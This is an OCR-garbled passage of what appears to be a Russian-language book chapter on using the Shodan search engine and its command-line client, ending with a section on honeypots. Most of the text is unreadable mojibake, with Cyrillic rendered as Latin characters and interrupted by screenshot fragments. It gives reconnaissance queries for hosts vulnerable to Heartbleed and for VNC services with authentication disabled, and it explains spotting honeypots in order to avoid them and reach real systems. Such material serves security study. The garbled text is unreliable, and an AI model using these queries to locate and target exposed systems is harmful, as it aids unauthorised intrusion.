ITporiece pykonoskarust SSL HAUMHAETCST € TOTO, 4TO BeO-Gpaysep OTIPABJISIET 3aIIPOC
Ha BeG-cepBep IS yCTAaHOBJIEHUsT 6e301TaCHOTO COeIMHEH s, 3aTeM BeG-cepBep OTBe-
yaeT cBouM SSL-cepTrduKaToM, KOTOPBLI CONEPKUT OTKPBITBII K104 cepBepa. B ¢Boio
ouepe/ib, Be6-Opaysep nposepsier ceprudukar, 4To0bl yOeaUThCs, YTO OH JeHCTBUTE/IEH
1 BBIJIaH JIOBEPEHHBIM IIeHTpoM cepTudukaimu. Eciau ceptudukar nelicTBuTeNeH,
BeO-Opaysep reHepupyeT CIy4YailHbli CAMMETPUYHbII KJII0Y, KOTOPBII UCIOJIb3YeTCsI
Juist 1nbpoBaHUs Beell ajibHeliineil cBssyu Mex 1y BeO-OpaysepoM 1 BeO-cepBepoM.

3areM BeOG-Gpaysep OTIIpaBJIAET CUMMETPUYHBIN KITI0Y Ha BeG-cepBep, 3anmdpoBan-
HbIIT ¢ IOMOIIIBIO OTKPBITOTO KJIF0Ua cepBepa. BeG-cepBep UCmosib3yeT CBOM 3aKPhITHI
KJTIOY J715T PACITHGPOBKI CUMMETPIYHOTO KITI0Ua, a BeO-Opaysep u Beb-cepBep Temeph
UMETOT 0BT CeKPETHBIN KITI0Y, KOTOPBII OHU MOTYT UCTIOJIb30BATh /15T N poBa-
HUA 1 paciGPOBKHU BCEX AAIbHEUTINX KOMMYHUKAIIAA.

[Tporecc pykomosxkarust SSL rapantupyer, uto Be6-6paysep 1 BeG-cepBep MOTYT
Ge301macHo OOMEHUBATHCA JAHHBIMU, a JTIOOBIE TAHHbIE, TIepe/laBaeMble MKy HUMH,
3aIUIIEHbl HA/IEKHBIM dpoBaHreM. PyKkomoskaTne SBASETCS BaXKHBIM ITAarOM
B YCTaHOBJICHUY GE30MACHOTO COETMHEHNUST U TIPEIHAZHAUEHO JIJIS 3AIUTHI OT aTaK
«4eJIOBEK MmocepeHes (MPU KOTOPBIX /IJI TiepeXBaTa JAaHHbIX NCIOJIb3YIOTCS METO-
JTbI, TIO3BOJISTIONINE BHEIPUTHCS B CYIIECTBYIOIIEE MOKIIOYeHIEe M TIPOIECC CBSI3M )
U JIPYTHUX YyIPpo3 GE30MacHOCTH.

SSL Taxske mpenocTaBisieT MEXaHU3MBbI JIJIst TIPOBEPKH MOJJIMHHOCTH Beb-cepBepa
C UCIOJIb30BaHUEM TTU(MPOBBIX CePTU(HUKATOB, BbIJIABAEMbIX JIOBEPEHHBIMU YI0-
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CTOBEPSIONMUMI OPTaHU3ANUSIMU. DTO FAPAHTUPYET TOJIb30BATENI0 BO3MOXHOCTD
yOeIUThCS, YTO OH B3aMMOIEHCTBYET ¢ TIPABUJILHBIM BeO-CepBEPOM, a He ¢ MOIIIEH-
nuueckuM. B iesiom SSL oGecieunBaet 6e30macHbIil M HaJeKHbIN Crioco0 mepegadn
yepe3 WHTepHET KOHGUAEHIIMATbHBIX JAaHHBIX, TAKUX KaK MapoJiu, (puHaHCOBbIE
TPaH3aKINKU 1 JTNIHAsT nHGOPMaIHs.

bannepsr ot cepBucos, ucrosp3yionux SSL, comepkar MHOTO JJOTTOJTHUTETHHOM
undbopmarmn. [IpuBenemM HeCKOTBKO TIPUMEPOB MUITBTPOB:

® ssl (TIOUCK TI0 BCEM TIOJISIM );
® ssl.version (Bepcus nporokosa — SSIv2, TLSvl u . 11.);

® ssl.cert.expired (3aKOHYMIICS JI CPOK JeiicTBus ceprudukara — True, False).

Mowuck ysa3BuMocCTei

[Tockompky GecraTHast BepcHs He IIPEeI0CTaBIseT BO3MOKHOCTH UCKATh 110 Oase
JaHHBIX YSI3BUMOCTEN, @ MBI MCIIOJIb3yeM MMEHHO OECILIaTHYIO BEPCHIO, TO PACCMO-
TPUM BCETO JINIIb OJUH MPUMEP TIOMCKA € JOCTaTOYHO HANTyMEBIIEH ySI3BUMOCTDHIO
Heartbleed.

Heartbleed — ysissumocts B OpenSSL, mo3Bosistionias packpbITh KOHPUACHIIHATb-
Hbl€ JJAHHbIE, BKJIIOYAsT YUETHbBIE IaHHbIE JIJIsT Ay TeHTUMDUKAIINN TI0Th30BATES U Ce-
KpeTHble Kaoun. Ysaspumble Bepeun OpenSSL ¢ 1.0.1 mo 1.0.1f conepskar ommbky, mo-
3BOJISTIONTYTO YacTsiMu 1o 64 KOalit 3a ofinH pa3 moJydars CIeAyonyo HHHOpMAIuio:;
KJIIOY M I POBAHUS, NMeHa TT0JIb30BaTe el U HapoJiu, KOHMUAEHIINAIbHbIE TAHHbIE,
azipeca aMsITH U COJIEPIKUMOE, KOTOPhIE MOJKHO UCIIOJIb30BATh J1Ist 00X0/1a CPEICTB
3alIUTHI OT IKCIIONTOB. Bostee 1oapo6HyI0 MHGOPMAITIIO 1 HKCIIIONT MOYKHO HANTH
10 3a1pocy CVE-2014-0160.

Eciu cepsuc ysizeuM juist Heartbleed, To 6antep comepKut iBa IOMOTHUTETBHBIX
napaMerpa — opts.heartbleed u opts.vulns. O6pature BHUMAHUE, YTO [T TECTA
HA HAJIMYUE JIAHHON YSI3BUMOCTU TIOMCKOBAsT CUCTEMA TIOJTYYa€eT JIUITh HEOOIBIITY O
4acTb JAaHHBIX. MOKHO BBITTOJTHUTD TIONCK IaHHOH ysa3BuMocTH B Poccuu, ncnosb3yst
cIeyTomuii 3ammpoc: contry: RU vuln:CVE-2014-0160.

Mouck uepe3 Be6-uHTEepeiic

ITo yMoJTYaHUIO TOUCKOBAsI CUCTEMa IPOCMATPUBAET TOJBKO OCHOBHOM TeKCT OaHHEe-
pa U He YYUThIBaeT MeTafanubie. Hanmprmep, eciiu BbI uiliete Google, TO Pe3yIbTaThl
HoKCKa OYyT BKJIOYATh TOJBKO T€ CHCTEMbI, B OaHHEPE KOTOPBIX IPUCYTCTBYET KO-
yeBoe ¢10B0 «Googley, a 9T0 3HAYUT, UTO TOMUMO CEPBEPOB OHOMMEHHOM KOMITAaHUH
BBI HalijleTe MHOKECTBO JIPYTUX CUCTEM, KaK TToKa3aHo Ha puc. 3.13.

[IpoananuanpoBaB JaHHbI 3aMPoc, YBUAMM, 4To Shodan BbIIaeT cepBepbl, KOTOpHIE
IS cBOE# paBoTHI UCTIONB3YIOT cepBrCHl Google. /l7st Gosiee TOYHOTO TIpeICTaBIe-
HUST TAHHBIX TOTPOOYEM MCIOIb30BaTh (GUABTPLL. DUIBTPBI — 3TO CrienaNbHbIe
KJTIOYEBBIE CJIOBA, KOTOPBIE MO3BOJIAIOT TOMYYUTh HYKHYIO MH(MOPMAIUIO U3 Habopa
JAHHBIX, [TPEIOCTABJISIEMbBIX CEPBHUCOM.
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Puc. 3.13. Pe3ynbTat novcka no kio4eBoMy cnoBy Google

Pacemorpum obiue mpasuia paboTsl ¢ huasTpamMn. Mesxay GuibTpoM u 3Hade-
HUEM BCETJIa JI0JIKHO CTOSITh JIBOETOUME U HE JIOJIKHO ObITh 11pobesa. Dunbrp st
cepBepoB, HaxoasAmmxcst B Jloc- AHkenece, 6y/IeT BBITJISAETD CAEYIONUM 00paszoM:
city:"Los Angeles" (puc. 3.14).

Puc. 3.14. Pe3ynbTaT noncka Bcex cepBucos, paboTtatowmx Ha nopte 8080
B Jloc-AHpkenece
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HekoTopbie GUIBTPEI TTO3BOMISIOT YKa3bIBATh HECKOIBKO 3HAYEHNI; TaK, HAIIpUMeD,
3aIpoc /Ui MMOMCKa CEPBUCOB, MpUHUMaloNux coeaunenus 1o nopty 80 (HTTP)
u 8080 (Alt-HTTP), Gyner cirepyomum: port : 89, 8080.

Jlist ucKJIoueHust U3 MOMCKa HEKOTOPBIX 3HAYEHUI TTPUMEHSIETCSI CUMBOJI -. Tak
OyJIeT BBITJISIIETD 3a1TPOC, ECJIM HAC HE MHTEPECYIOT CePBEPbI, HAXOISIIUECS B OIIpe-
JleJIEHHOM MO/ICeTH: -net:125.58.96.0/24.

PaccmoTtpuM npumMep roucka cepsuca, UCIOIb3YIONEro HecTaHapTHeI nopt. Ta-
KOI1 3aITyCK CEPBUCA — OJIUH U3 CIOCOOOB CKPBITH €r0 OT IIOCTOPOHHUX rJia3. U xotst
3aI[MTa, B OCHOBE KOTOPOU JIEKUT MPUHITATI TTPOCTOTO COKPBITUST MH(MOPMAITNH,
cunTaercs HeahheKTUBHOI (a uTo elne XysKe, TO MOXKET CO3/IaTh Y BJIAJIEIThIIA JIOK-
HOE YyBCTBO GE30MACHOCTH ), 9TUM ITPUEMOM BCE PABHO TIPOIOJIKAIOT MOJIh30BATHCS
ZoBoJIbHO Yacto. Hanpumep, nasaiite mocmorpum Ha cuctembl OpenSSH, uctosb-
3yionire HectauaapTabiit mopt (puc. 3.15). /s maxoxmenus cuctem OpenSSH,
MCITOJTb3YIONINX HECTaH/IaPTHBIN IMOPT, IPUMEHNM CJIeIyIONINH TOMCKOBBIN 3aITPOC:
product:openssh -port:22.

Shodan Report ... i Total: L762,545

2 Product Versions

Puc. 3.15. OTyeT No 1cnosnb3oBaHMIO HECTaHAAPTHbLIX NOPTOB Ans cepBuca OpenSSH

O6parute BHUMaHue Ha 1oJie Ports. B HeM cirepyiolue JaHHbIe:
e 2222 — 511640;

222 — 57030;

3389 — 48371;

999 — 47508;

50000 — 43867.
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Itu nudpPhl He KaKyTCst caydailHbIME. BhIGOD alMUHUCTPATOPOM HECTaHAaPT-
HOI'O II0PTa MOKET ObITh He TAKUM Y3K YHUKaAbHbIM. [TopT 2222 nomy/sipeH, Kak
n iopt 8080 syt HTTP. Cremytomuii 1o normyasspHOCTH TOPT — 222, KOTOPHIH T10-
JIYUHUJICS TIPOCTO 0OABIEHUEM €ellle OJIHON JBOMKY K CTaHAAPTHOMY TIOPTY. B ¢BOIO
ouepelib, 1opT 3389 Mcnosb3yeTcsa IS YAAJIEHHOIO A0CTYIa K pabodyeMy CTOJLy
B OIlepallMOHHbBIX cucteMax Windows. ITOT BBIGOP TOKE HEJIb3sT HA3BATh CJYYAHBIM.
Taxske 13 9TOr0 OTYETA BUIHO, UTO Yallle BCETO JIOOST HCIOIb30BaTh HECTaHIaPTHBIE
nopThi st 3arycka OpenSSH B CIIIA, Tepmanuu, @pannnu u Kurae.

SKCNopT pe3ysibTaToB

[Toce 3aBepiTeHNsT MONCKA BBEPXY MOSBUTCS KHOIKA 3arpy3uTb AaHHble. Haskas Ha
3Ty KHOIIKY, BBI IIOJTyYUTE BOBMOKHOCTH 3aTPY3UTh PE3YJIBTAThI IIOMCKA B hopMaTax
JSON, CSV i XML.

B dopmare JSON kaskmast CTpoKa COAEP;KUT TONHBIN GaHHED U BCE COMYTCTBYIOIIIE
MeTajlaHHble, KoTopbie cobmpaer Shodan. IToT hopMaT MpeAmoYTUTENEH, TaK KaK
B HEM COXpamsieTcst Besi locTytnast urdopmariust. GopMaT COBMECTUM € KITMEHTOM
KoMaHiHO cTpoku Shodan, 4To aeT BO3MOKHOCTD 3arpysKath JlaHHbIe ¢ BeG-caiiTa
Shodan, a 3aTem oOpabaTbiBaTh UX € IOMOILBIO TEPMUHAIA.

[Tpu ncnospzoBarmu hopmara CSV BbI momyvaere daiin, conepskanmii [ P-anpec,
nopt, 6axHep, Opraiu3almio u uMeHa XocToB. M3-3a orpannuenuii popmara daii-
na CSV B HeM cozepkuTes He Best uHdopMmanus, cobupaemas Shodan. Vcnosnbayiite
aTOT (hOpMaT, eCJIM BAC UHTEPECYIOT TOJIBKO OCHOBHBIE PE3YJIBTATHI U BBl XOTUTE
OBICTPO 3arpy3uTh HHMOPMAIIUIO B TAKHME BHEIIHIE HHCTPYMeHTHI, Kak Excel.

XML — ycrapeBiuii criocod coxpaHeHusT pe3y asraToB morcka. C HUM Tpy/IHee pa-
6orarp, veM ¢ JSON, 1 oH 3aHUMaeT 6OIbINE MECTa, YTO BO MHOTHX CTyJasixX JleJiaeT
€ro UCIOJIb30BaHKE HEYI0OHbBIM.

3anpocbl nonb3oBaTenei

K coskanennio, MHOTIA CJIy4aeTcs TaK, YTO My3a OTBOPAYMBAETCS OT BaC U PEIICHIe
TeKyIeil Ipo6eMbl CTAHOBUTCS HEIIOCUIbHOI 3agaueii. {JIs II0MCKa BIOXHOBEHMSI
1 HOBBIX UJI€i CTOUT MTOCMOTPETD, YTO UIIYT JAPYTHE MOJTH30BATENN U KaK OHU (POp-
MUPYIOT CBOM 3aIIPOChI, YTO JIOCTYITHO B pasjeJie Recently Shared (puc. 3.16).

Mouck nsobpaxkeHunii

OnHOM 13 MHTEPECHBIX 0OCOOEHHOCTEN JAHHOI OUCKOBON CHCTEMBI ABJISETCS BO3-
MOKHOCTb ITPOCMOTPA COXPAHEHHBIX CHUMKOB 3KpaHa, [IJIs MOJYYeHUs TOCTyIIa
K 9TUM JaHHBIM HeOOXOMMO IIPUMEHUTH GUIIbTp has_screenshot. Shodan nosyyaer
9TU JAHHbBIE OT CaMbIX pasJnuHbIX cepBrcos, Hanpumep VNC, RSTP, X Windows.
Kaskoe n3o6paskeHre MoCTyImaeT OT ONPEAETIEHHOTO CEPBICA, TOATOMY €CJIU BbI XO-
THTE II0JIyYUTh COXpaHEeHHOe n3o0pakeHue ¢ IP-kamepsl, BaM HEOOXOAUMO 00ABUTh
uisTp http. A eci octaBuTh cebe 3aj1ady 4y Th MHTEPECHEE, TO MOKHO BBITIOJHUTh
nouck cepucos, HaripuMep VNC, ¢ OTKIIOUeHHON ayTeHTU(MUKAIMEH 0 3a1poCy
has_screenshot:true authentication disabled.
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Explore: Recently Shared

Scagatecom

Saferoars Variable Message Signs

Puc. 3.16. Cnrcok HeaaBHO OMy6IMKOBaHHbIX 3anpoCcoB Mosb30BaTeNen

PaboTa c KOMaHAHOW CTPOKOM

Eciau 8ol ucnionbayere cexyio seperio Kali Linux, To Bam He Hajo coBepiiaTh HU-
KaKWX JIOTIOJTHUTEJBbHBIX JAeVCTBUN /I TIOTyYeHUs TOCTyTIa K KOMaH/{HON CTPOKe
Shodan, aToT HHCTPYMEHT ysKe YCTaHOBJIEH 1 JOCTYTIEH sl UCIIOIb30BaHust, ExuH-
CTBEHHOE, UTO HeOOXOIMMO ciiesiaTh, — no6asuTh API-kiou. s ero mosydyeHust
HeoOX0JUMO 3aperucTpupoBaThea Ha caiite shodan.io, a satem mepeiiTu B pas-
nest Account — KJTI0Y IOCTYIIEH B OJTHOU U3 BEPXHUX CTPOK W HA3bIBAETCS COOTBET-
crByione: API key. Ckonupyiite ero B 6ydep o6MeHa, a 3aTeM BbIIIOJHUTE KOMAH/LY:

$shodan init API_KEY

[Tocne yenenHoi perueTpaiui Bbl osryuuTe coodiieHue Successfully initialized.

Huske nepeuriciieHbl 0CHOBHbBIE KOMaH IbI, KOTOPbIE IPUTOAATCS TIpK paboTe ¢ JaHHOM
IIOMCKOBOU CUCTEMOIL.

Alert. Komanma IIPEAOCTABJISAECT BOBMOKHOCTD ITPOCMATPUBATh, OYUIIATD U YIAJIATH
CETEBbBIE OIIOBEIIEHN ST, KOTOPbIE ObLIN CO3/IaHbI C NCITIOJIb30BaHMEM APIL

Convert. IIpeoGpasyer cxatoiii (aitn JSON, crenepupoBanubiii Shodan, B daiin
Japyroro hopmara.

Count. BOSBpaHIaeT KOJIMYECTBO PE3YJIbTAaTOB /1JIs1 IOMCKOBOTI'O 3allpoca.

$shodan count nginx 1.9
1567

Download. OcyIecTBIsIET MOUCK U 3AIMCHIBAET PE3YJIbTATHI B (DAL, TIe KaxKaast
crpoka ssiercst 6arrepom JSON. TTo ymosrganuio 3arpyskaer toabko 1000 pesyiib-
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TaTOB, €CJIM Bbl XOTUTE 3aTPy3UTh OOJIbIIIE, TO UCHOJIb3YITE MapamMeTp -limit. IToil
BO3MOYKHOCTBIO HE CTOUT MpeHebperath, OHa MO3BOJSAET COXPAHSATH PE3YJIHTAThI
MOMCKA U BIIOCJEACTBUN 00pabaThiBaTh UX C MOMOIIBIO PA3JUYHBIX METOJOB aHa-
sn3a. [TockombKy Ka/IbIil 3a1IpOC TPATUT Balll KPEJUT, PEKOMEHIYeTCsI COXPAHSITh
MOJTyYeHHbIe IaHHbIE, TAK KaK B 9TOM CJIydae /i IPOCMOTPa JJAHHBIX TTPE/bIIYIINX
3aIIPOCOB KPeJUT He PacXoLyeTcs.

Host. Beiaer nndopmaruio o xocrte: Tie OH HAaXOAUTCs, KAKe TTOPTHI OTKPBITHI
1 Kako# opranusaiuu npuHajiexur (puc. 3.17).

File Actions Edit View Help

Puc. 3.17. Pe3ynbtat paboTbl koMaHabl shodan host

Info. IIpenocrasisier madopmariiio o BanreMm API-myiane, B ToM dmcsie 0 TOM, CKOJIb-
KO KPEUTOB JIJIsI OCYTIeCTBIEHNSI 3alIPOCOB M CKAHNPOBAHMIT ¥ BAC OCTAIOCh B /IaH-
HOM MecsIIie.

$shodan info
Query credits available: 425
Scan credits available: 123

Myip. BosBpamaet Bamr [P-azxpec.

$shodan myip
138.34.56.8

Parse. Mcnomp3yeTcs A5 aHannsa ¢aiina, Co3/[aHHOTO ¢ MOMOI[BI0 KOMaH/IbI
download. Ilo3BosieT hubTpOBATH MHTEPECYIOIINE BAC TIOJST, KOHBEPTUPOBATH
JSON B CSV u nnepenaBath fannbie Apyrum ckpunrtam (puc. 3.18).

Curenyromas komanzia BeiBouT IP-anpec, nopt u opranusaiuio B hopmate CSV,
UCTIOTBb3YS PaHee 3aTPY’KeHHBIE JAHHBIE O CePBEPAX ¢ YCTAHOBIEHHBIM NGINxX:

$shodan parse --fields ip_str,port,org -separator , nginx-data.jonson.gz
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root@iall: ~

File Actions Edit View Help

wnload nginx-data nginx

Search gquer

» nginx-data.json.gz

Puc. 3.18. CkaumBaHue 1 hmnbTpaums AaHHbIX

Scan. ImMeeT HECKOJIBKO ITapaMeTPOB 3aIlyCKa, HO CaMblii BaKHbBII 13 HUX submit, on
MO3BOJISIET BBITIOJHUTH CKAHUPOBAHUE CETH.

$shodan scan submit 177.86.76.56

Search. Koman/a cKaHNPOBAHI IPEIOCTABIISIET HECKOIBKO BO3MOKHOCTEH, Cpen
KOTOPBIX oTmpaBKa. [To ymModanuio GyayT BBIBOAUTHCS 1P, MOpT, HMEHAa XOCTOB
u ganHble. [ BIBOIA JIFOOBIX MHTEPECYIONIUX BAC TI0JIEil UCIIOMIb3yiiTe mapamMerp
-fields (puc. 3.19).

Stats. Komanna 1mo3BoJisieT pactieyaratb CTATUCTUKY TOMCKOBOTO 3a1pOca.

Harpumep, ciemyromast KoMaH/a MMO3BOJISIET TIOJTYIUTh HH(MOPMAIIIIO O TISITUA CTPa-
Hax, B KOTOPBIX yaliie Bcero npumensiercss RDP:

$shodan stats --facets country:5 rdp

Pesysbrarsl mpuMeHeHns KOMaH/Ibl MOKa3aHbl Ha puc. 3.20.

Stream. Komamma obecriednBaeT IOCTYT K TIOTOKY TAHHBIX, COGUPAEMBIX CKaHEPaMIT
Shodan B peanbprom Bpemenn. Komamga moaepkuBaeT MHOKECTBO Pa3THYHBIX
IapaMeTpoB, OJHAKO BAXKHO YIIOMAHYTb TPU U3 HUX: —datadir, -1imit u -ports.

-datadir 103BOJISIET YKa3aTh KaTaJIOl, B KOTOPOM OyAyT XPaHUTLCS IIOTOKOBbIE
narubie. Maiibl, crenepupoBaHHbie B Katajore —datadir, umenyiorcs B hopmare
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File Actions Edit View Help

47.91.125,239
119.29.140.

8 £.139.

ot .10,
81.71.4
119.29.19.
159.118.252.45
119.29.10.14
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Puc. 3.19. Pe3ynbtat paboTbl koMaHabl $ shodan searc

--fields ip_str,port,org,hostnames nginx 1.19

root@kall: ~

File Actions Edit View Help

ali

i sho stals --facels country:5 rdp

lop 5 Hesults for Facet: country
us

DE

2,357
787
76
262
225

Puc. 3.20. Ctatuctmka ncnonb3oBaHus RDP

59
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YYYY-MM-DD json.gz, nanpumep 2022-12-15.json.gz. Kaxzaplii eHb, I10Ka Ipouc-
XO/LUT 3allUCh, aBTOMATUUECKHU CO3/1aeTCsI HOBbIH (hailir.

Cuierytonasg KoMaH/1a 3arpysKaeT Bce JaHHbIC U3 TOTOKA B PEaJIbHOM BPEMEHU U CO-
XpaHngeT ux B katajore /var/lib/shodan/:

$shodan stream --datadir /var/lib/shodan/

-limit yKa3bIBAET HA TO, CKOJBKO PE3yIBTATOB HEOOXOANMO 3arpy3uth. COop maH-
HBIX BBITIOJIHAETCA JI0 TEX MOp, TIOKa BbI €ro He ocTaHoBuTe. Ecin ke BaM He HYyKHO
cobupaTh abCOMIOTHO BCE JIaHHbIE, BBl MOKETE OTPAHUYUTD KOJUUECTBO 3aITUCEN.

$shodan stream --limit 1000

IIpuBeseHHast BbIlle KOMaH/a MO3BOJUT MOAKIIOYNTHCS K Shodan B peasbHOM
BpeMeHu, cobpath nepsbie 1000 moIyYeHHbBIX 3alCceil U 3aTeM 3aBEPIIUTh PaboTy.

-ports olpe/esieT CIUCOK TIOPTOB, pas/e/eHHbIX 3alAThIMU, HH(GOPMAIIK ¢ KO-
TOPBIX 6y/:[eT sanucana B daiir. Ciepyiolias KoMaHIa BBIBOAUT JaHHble OAaHHEPOB
cepBucoB, paboTaomux ¢ nopramu 80 miu 8080:

$shodan stream --ports 80,8080

[l 06001enns CKa3aHHOTO BBIIIE IIPEACTaBUM KOMaH/y, KOTOpask B PEaJbHOM
Bpemenu cobepert gannbie o 1000 telnet-cepsucax u BoiBeseT ux B Katasor telnet-
data:

$mkdir telnet-data
$shodan stream -ports 23,1023,2323 -datadir telnet-data/ --linit 1000

MnarunHbl

Komana pazpaboTunKoB BbIycTH I ITaruHbl 11 Maltego, Chrome u Firefox, mo-
BBIIIAIONINE Y0OCTBO MX HCITOb3oBaHus. Pabore ¢ Maltego mocssiien oTe/bHbIi
paszes1 9TOM KHUTH, HO 3aberast HEMHOTO BIIEPE/l, CKAKeM, YTO JJIst PAOOTHI C JAaHHBIM
IJIaTMHOM BaM HeoOxoauMo Hajnure Kaoda API. B Maltego Heo6xoauMo moaKio-
unth Tpanchopmep Shodan B pasmene Maltego Transform Hub.

Mouck honeypot

Honeypot — oauH 13 crocobGOB 3alUTHI CeTH, pa3pabOTaHHbI /st OGHAPYKEHUST
1 OTPasKeHUs MOIBITOK HECAHKIIMOHMPOBAHHOTIO JIOCTYIIA WJIN aTak Ha ceTb. KoH-
neniusg Honeypot ocHoBana Ha ujiee co3fanus JIOKHON CeTH, KOTOPas BBITJISINAT
KaK MpUBJIEKATEIbHAS 11eJIb JIJIS ATAKYIOIIUX, HO Ha CAMOM JleJie SIBJISICTCS U30JIU-
POBAHHOW M THATEIBHO OTCJAEKIUBaeMOii cructeMoil. Koryia atakyionuii nmpitaercs
noJyuuTh goctynt K Honeypot, crieruasictsl HaGIIOaI0T 3a €0 IeHCTBUSIME U CO-
6upatoT MHGOPMAIIMIO O HEM CAMOM, €r0 METO/IaX U TIPUMEHSIEMBIX TAKTHKAX, YTO
BIOCJICJICTBUY MOKHO MCIIOIb30BATH [IJIsT yIydIIeHust ob1eit crpaternu Gesomnac-
HOCTU OPraHM3alMU U [IPe/IOTBPalleHnsd ITPOHMKHOBEHUS He TOJILKO B PyYHOM, HO
1 B aBTOMATUYECKOM PEKUME.
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Honeypot MoskeT TpHIMATh MHOKECTBO PA3IMIHBIX (POPM — OT ITPOCTHIX BUPTYaJIb-
HbIX MAIIUH UK CEPBEPOB /10 GoJIee CI0KHBIX CeTeli BIaUMOIEHCTBYIOIIUX CUCTEM.
Hekoropbie Honeypot crienmaibHo pazpaboTaHbl JIst UMHTAIIUKE KOHKPETHBIX THIIOB
CUCTEM, HAIIPUMEDP CUCTEM yIIPABJIEHUS IPOU3BO/ICTBEHHBIMU MTPOIIECCAMU, JIPYTHE
JKe UMUTUPYIOT GoJiee 0600IIeHHbIEe BeO-cepBepbl Win 6asbl JaHHbIX. HesaBucumo
ot cBoeil hopmbr, Bce Honeypot nMeoT 06IILyI0 11eJib; OTBJIeYEeHHE aTaKyOIHUX OT
PEaJIbHBIX CUCTEM U TIOJIYUYCHUNE HeHHOﬁ I/IHq)OpMaHI/H/I 06 X TaKTHUKaX U MeTo/[aX.

Xotsa Honeypot saBasiorcs ahPekTUBHBIM HHCTPYMEHTOM OOHAPYKEHUsT 1 aHa-
Ju3a kubeparak, UX YCTAaHOBKA U MOJIEPKAHUE MOTYT Tak:Ke mMOTpeboBaTh 3HA-
YUTETHHBIX BPEMEHHBIX M PECYPCHBIX 3aTpat. Kpome TOTO, BCeraa ecTh PUCK, UTO
aTakyIomme CMOTYT HaeHTHhUIIpoBaTh Honeypot i HCmoIb30BaTh €T0 Kak Crocob
MOJTYYEHNUST IOCTYTIA K pealbHbIM crcteMaMm. [Toatomy Honeypot siBastiorest Becero
JIUIIG OJTHON U3 COCTABJSIONINX BCECTOPOHHEH cTparernu KubepHe3onacHoCTH
U JIOJIKHBI KCIOJIb30BATHCA B COUETAHUHU C IPYTMMU HHCTPYMEHTAMU 1 METOAMK
3QIUTHI OT KHOGEPYTPO3.

MpuHuMn cozganua honeypot
Hacrpoiika nmpocroro honeypot B Linux BBIIIOJHIETCS B HECKOIBKO IPOCTHIX IATOB:

1. Bbi6op nmporpammHuoro otdecneuenus st honeypot. /s Linux goctymHo He-
ckoJbko mporpamm honeypot — Cowrie, Honeyd u Kippo.

2. ¥Ycranoka nporpammuoro o6ecneuenus honeypot. ITocie BeiGopa nporpamm-
HOTO obecredeHns: HeoOXOMUMMO YCTaHOBHUTD €ro Ha MalliHy ¢ Linux. 9ta MammHa
NOJIKHA OBITh U30JIMPOBAHA OT KOPIHOPATUBHOW CETH U BBIIETIEHA TOJBKO JJIst
samycka honeypot.

3. Hacrpoiika nporpammuoro o6ecneyenus honeypot. ITocie ycraHoBKU He00-
XOJIMMO HACTPOUTh honeypot B cOOTBETCTBUU ¢ KOHKPETHBIMU TPEOOBAHUAM,
KOTOPbIE MOTYT IOJIPa3yMeBaTh HACTPOUKY THIIA OMYJIUPYEMO#l CJIyKObI, Tra-
ma3oHa [P-azgpecoB 11t MOHUTOPUHTA U IPYTUX TTaPAMETPOB.

4. Orcaesxnsanue honeypot. ITocse HacTpoiiku honeypot He0OXOAMMO PerysipHoO
OTCJIEXKMBATD €r0 HA HAJMYNE [OJ03PUTETbHOI AKTUBHOCTU. /|JISI MOHUTOPUHTA
ceTeBoro TpaduKa U aHaIU3a JIOOBIX OOHAPYKEHHBIX ATaK MOKHO MCIIOJIb30BAThH
TaKue MHCTPYMEHTHI, Kak Snort win Wireshark.

5. Amnamus gannbix. Heo6X0ImMMo mpoaHamsnpoBaTh JaHHble, cobpanibie honeypot,
9TOGBI BBIIBUTD MAGJOHbI MM BEKTOPBI aTak. ITa WHHOPMAIIUSI MOKET GBITD HC-
TIOJIb30BAHA JIJIst TIOBBITIEHNsT GE30TIACHOCTH CETH MYTeM BBISBJICHUS TIOTEHIINAIb-
HBIX YSI3BUMOCTEN U pazpaboTKU CTPATErnil UX yCTPAHEHUSI.

3auem Hy»eH nouck honeypot?
II]I}I ITIOMCKa €CTb HECKOJIbKO BECOMbBIX ITPUYMH:

o Ilouck oGHapyskenusi. OGHAPYKUB JIOBYIIKY, MOKHO U30€KaTh ee U mepeiiTu
K JIPYTUM, IOTEHIATBLHO GoJsiee YI3BUMBIM TieisiM. OTpeziesieHie JIOBYHIEK MO-
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JKET YMEHBIIINUTDH PUCK O6Hapy)K€HI/IH " YBEJIMYUTDH MIAHCHI YCIIEITHO MTPOHUKHYTH
B peaJyibHbI€ CUCTEMBbI.

o Tlonyuenue undpopmanuu. OGHAPYKEHHBIE JTOBYIIKA MOTYT OMOYb TIOJYYUThH
[EeHHYI0 UH(MOPMAIUIO O CHCTeME OE30TTaCHOCTH OPraHM3AIINHN, KOTOPAst YIIPaB-
JISIET JIOBYIIKOI. DTa HHGOPMAIHS MOKET ObITh UCIIOIb30BAHA JIJIsT PA3PadOTKH
HOBBIX CTPATErWil aTaK W BbISIBJIECHUS TIOTCHIIMAJIBHBIX YSI3BUMOCTEH B PeaThHBIX
CHCTEMAaX OPTaHM3AIHH.

o Komnpomeranus goBymku. Eciu crieruannct uieHTuuIiimpoBa JOBYIIKY, OH
MOJKET IOIBITAThCS CKOMIIPOMETHPOBATD €€, YTOObI IIOJIYyYUTh JOCTYI K OCHOB-
HOW crcTeMe, WM UCITOIh30BaTh ee B KA4eCTBEe TOUKH 3aITyCKa aTak Ha J[PyTrue
CHCTEMBI. DTO 0COOEHHO OTIACHO, €CJIM JIOBYIKA HEITPAaBUJIBHO H30JUPOBAHA OT
OCTAJIbHOI CETH.

e Ortsieyenue pecypcoB. JIOBYIIKKM MOTYT ObITh CJIOKHBIMU U TPEOOBATETHHBIMU
K pecypcaM, HeoOXOAMMbIM /LISl KX YCTAaHOBKK U 00cayskuBanust. OOHapysKuBast
JIOBYIIKHN W HaAll€JINBaACh Ha HUX, aTaKYIOIINE MOT'YT 3aCTaBUTb Oprannu3anmmn
TPAaTUTb BpeMA U JICHbTU Ha 06pa60TKy JIOJKHBIX CUTHAJIOB 1 HEIPOJIYKTUBHDbIC
neiicteus. IIpoBeenne JTOKHBIX aTaK, BHIHYKAAIOIIEE L[EJEBYI0 OPTaHU3aIIIo
TPaTUTDh PECYPChl HAa UX IPEJOTBPAIEHUE, OTBICKAET BHUMAHME OT PealbHOIl
TIOMBITKU ITPOHMKHOBEHU .

OnpepeneHune NOBYyLUEK

PaccMoTpuUM HECKOTBKO GA30BBIX IPUHITMIIOB OMPe/iesieHust JToByIek. [lepBoe, 4To
Gpocaercs B IJ1a3a, — 9TO HeCcTaHAapTHas KoHburypaius. IIpu aHa3e pesyibratoB
nouncka obpaiaiite BHUMaHIe Ha HeOObIYHbIE GAHHEPBI CEPBUCOB, HECTAHAAPTHBIC
